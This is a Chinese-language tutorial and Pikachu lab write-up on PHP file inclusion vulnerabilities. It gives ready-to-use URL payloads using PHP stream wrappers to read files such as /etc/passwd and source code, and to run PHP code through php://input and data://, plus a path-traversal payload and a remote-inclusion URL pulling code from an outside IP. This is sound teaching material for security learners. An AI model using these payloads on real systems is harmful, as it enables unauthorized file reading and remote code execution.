File_Include(檔案包含)
原理
檔案包含,是一個功能。在各種開發語言中都提供了內建的檔案包含函式,其可以使開發人員在一個程式碼檔案中直接包含(引入)另外一個程式碼檔案。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
這些檔案包含函式,這些函式在程式碼設計中被經常使用到。大多數情況下,檔案包含函式中包含的程式碼檔案是固定的,因此也不會出現安全問題。 但是,有些時候,檔案包含的程式碼檔案被寫成了一個變數,且這個變數可以由前端使用者傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發檔案包含漏洞。 攻擊著會指定一個“意想不到”的檔案讓包含函式去執行,從而造成惡意操作。
環境要求
allow_url_fopen=On(預設為On) 規定是否允許從遠端伺服器或者網站檢索資料
allow_url_include=On(php5.2之後預設為Off) 規定是否允許include/require遠端檔案
檔案包含常見函式
nclude()
require()
include_once()
require_once()
PHP偽協議
CTF中檔案包含漏洞總結-CSDN部落格
PHP偽協議總結 - 個人文章 - SegmentFault 思否
file://
用於訪問本地檔案系統,並且不受allow_url_fopen,allow_url_include影響
file://協議主要用於訪問檔案(絕對路徑、相對路徑以及網路路徑)
比如:
http://www.xxx.com?file=file:///etc/passsword
http://
用於訪問遠端http協議網路路徑的檔案。
http://www.xxx.com?file=http://127.0.0.1/xxx.php
php://
php://
訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter
和php://input
,php://filter
用於讀取原始碼,php://input
用於執行php程式碼。
php://filter
php://filter可以獲取指定檔案原始碼。當它與包含函式結合時,php://filter流會被當作php檔案執行。所以我們一般對其進行編碼,讓其不執行。從而導致 任意檔案讀取。
http://www.xxx.com?file=php://filter/resource=xxx.php
可以使用 convert.base64-encode這個過濾器,去將檔案裡面轉成base64去輸出
http://www.xxx.com?file=php://filter/read=convert.base64-encode/resource=xxx.php
php://input
使用php://input,然後再POST資料,我們所輸入的資料會被當作php程式碼去執行,所以我們可以這樣使用
http://www.xxx.com?file=php://input
POST的資料:<?php phpinfo();?>
data://
資料流封裝器,以傳遞相應格式的資料。可以讓使用者來控制輸入流,當它與包含函式結合時,使用者輸入的data://流會被當作php檔案執行。
他是以GET傳遞引數,所以我們可以這樣用
http://www.xxx.com?file=data://text/plain,<?php%20phpinfo();?>
或者是base64編碼
http://www.xxx.com?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
zip://
zip://[壓縮檔案絕對路徑]%23[壓縮檔案內的子檔名]
(#編碼為%23)
Pikachu
本地檔案包含
開啟題目,選一個引數,發現url改變,並且是file+數字,於是多試了幾次,的確是這樣的
當我嘗試到file6的時候,發現了好東西
試到file7,出現了報錯,路徑都被回顯出來了:
fi_loal.php去包含和他同一個路徑下include資料夾的檔案。
我們就可以根據這個路徑,去訪問其他地方的檔案,這裡我在pikachu-matser下已寫好檔案,我們就訪問他,
<?php phpinfo();?> //檔案內容
然後構造payload:
http://localhost/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../test.txt&submit=%E6%8F%90%E4%BA%A4
成功了。
遠端檔案包含
隨便弄了一個引數,看url有了路徑
這邊是我雲伺服器寫好了檔案,可以直接遠端訪問
http://localhost/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://8.130.131.63/1.txt&submit=%E6%8F%90%E4%BA%A4
成功了!